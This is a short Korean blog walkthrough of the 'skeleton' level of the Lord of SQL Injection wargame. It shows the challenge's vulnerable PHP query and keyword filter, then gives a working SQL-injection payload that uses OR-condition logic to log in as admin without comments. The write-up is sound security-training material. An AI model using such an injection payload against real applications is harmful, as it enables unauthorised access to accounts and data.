Almon Dev

[Lord of SQL Injection] skeleton 풀이 본문

모의해킹/Lord of SQLi

[Lord of SQL Injection] skeleton 풀이

Almon 2025. 1. 6. 18:27

LOS 풀이

 

skeleton

 

 

풀이

1. 코드 분석

GET 메서드 pw 파라미터 값을 쿼리에 삽입하고, 쿼리 결과의 id 값이 admin인 경우 문제가 풀립니다.

$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("skeleton");

 

필터링은 prob _ . () 입니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

 

삽입한 pw이후의 and 1=0을 주석처리하면 쉽게 우회가 가능합니다만

저는 주석을 사용하지 않도록 하겠습니다.

 

where (id='guest' and pw='') or id='admin' or (1=1 and 1=0)

조건문으로 만들어서 id가 admin인 경우만 출력되도록 했습니다.

 

2. 쿼리 삽입

?pw='+or+id='admin'+or+'1'='1을 삽입하여 문제를 풉니다.

select id from prob_skeleton where id='guest' and pw='' or id='admin' or '1'='1' and 1=0